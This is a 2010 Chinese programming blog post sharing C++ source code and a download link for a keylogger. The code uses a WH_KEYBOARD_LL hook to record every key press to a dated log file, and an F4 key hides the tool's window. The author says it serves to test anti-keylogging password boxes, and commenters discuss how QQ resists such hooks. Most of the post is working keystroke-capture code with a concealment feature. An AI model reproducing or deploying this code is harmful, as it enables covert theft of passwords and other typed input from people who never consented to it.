Pencil.C++

更新速度可能会晚于http://blog.csdn.net/bilaopao

  C++博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理 ::
  34 随笔 :: 0 文章 :: 40 评论 :: 0 Trackbacks

    最近在研究反监听密码框的开发。  做这个东西是为了测试密码框的效果。 用的是WH_KEYBOARD_LL钩子。 我暂时还没找到防止底层键盘全局钩子的方法。QQ的密码可以用这种方法监听到,但是不是明文。不知道它是怎么做到的。
    我也给这个工具做了个隐藏键 F4  。
    开发工具是VS2008  
     


钩子回调函数中的代码:

 1LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
 2                                      WPARAM wParam,
 3                                      LPARAM lParam
 4                                      )
 5{
 6    PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
 7    if (nCode<0)
 8    {
 9        return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
10    }

11    if (HC_ACTION==nCode)
12    {
13        if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
14        {
15            if (VK_F4==kbhs->vkCode)
16            {
17                //先判断窗口是show or hide
18                m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
19                if (IsWindowVisible(m_hWnd2))
20                {
21                    ShowWindow(m_hWnd2,SW_HIDE);
22                    return 0;
23                }

24                else
25                {
26                    if (NULL==m_hWnd2)
27                    {
28                        AfxMessageBox(L"查找失败!");
29                        return 0;
30                    }

31                    ShowWindow(m_hWnd2,SW_RESTORE);
32                    //UpdateWindow(m_hWnd);
33                    BringWindowToTop(m_hWnd);
34                    SetForegroundWindow(m_hWnd);
35                    return 1;
36                }

37            }

38
39                char c[1]; 
40
41                c[0]=kbhs->vkCode; 
42
43                SaveLog(c); 
44        }

45    }

46    return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
47}



字符保存的代码:

 1void SaveLog(char* c)
 2{
 3    //AfxMessageBox(L"进入存储程序");
 4    CTime tm=CTime::GetCurrentTime(); 
 5
 6    CString name; 
 7    TCHAR* szPath[MAX_PATH];
 8    ::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
 9    CString path=(LPTSTR)szPath;
10    path.Replace(L"\\LogerDll.dll",L"");
11    name.Format(L"\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
12    path+=name;
13    
14    
15
16    CFile file; 
17
18    if(!file.Open(path,CFile::modeReadWrite)) 
19
20    
21
22        file.Open(path,CFile::modeCreate|CFile::modeReadWrite); 
23
24    }
 
25
26    file.SeekToEnd(); 
27
28    file.Write(c,1); 
29
30    file.Close(); 
31
32
33}




下载地址:http://www.cppblog.com/Files/pencil/KeyboardLoger.rar
   

posted on 2010-01-28 08:43 Pencil.C++ 阅读(3568) 评论(9)  编辑 收藏 引用 所属分类: VC

评论

# re: 发一个键盘监听工具的代码 2010-01-28 11:33 lo
qq2009不停的setwindowhook 以保证自己处于hook链顶端来加密
另外使用模拟按键来干扰  回复  更多评论
  

# re: 发一个键盘监听工具的代码 2010-01-28 13:16 test
你LogerDll.dll 呢?  回复  更多评论
  

# re: 发一个键盘监听工具的代码 2010-01-28 13:17 Pencil.C++
在里面了大哥。@test
  回复  更多评论
  

# re: 发一个键盘监听工具的代码 2010-01-28 13:18 Pencil.C++
谢谢您的分享,我试试。@lo
  回复  更多评论
  

# re: 发一个键盘监听工具的代码 2010-01-28 13:31 test
大哥 我看到了啊 你好咧啊,我在google阅读器里看到你的啊,不过你是坏宁,你想干坏事,嘎嘎~  回复  更多评论
  

# re: 发一个键盘监听工具的代码 2010-01-28 13:32 Pencil.C++
这个只是个雏形,没有什么实用意义。呵呵。@test
  回复  更多评论
  

# re: 发一个键盘监听工具的代码 2010-01-28 13:34 test
好玩呗,  回复  更多评论
  

# re: 发一个键盘监听工具的代码 2010-01-29 08:44 Pencil.C++
实际上,QQ并不是这么做的,最起码现在的版本不是。@lo
  回复  更多评论
  

# re: 发一个键盘监听工具的代码 2010-01-29 12:29 zhaoyg
学习了  回复  更多评论
  


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理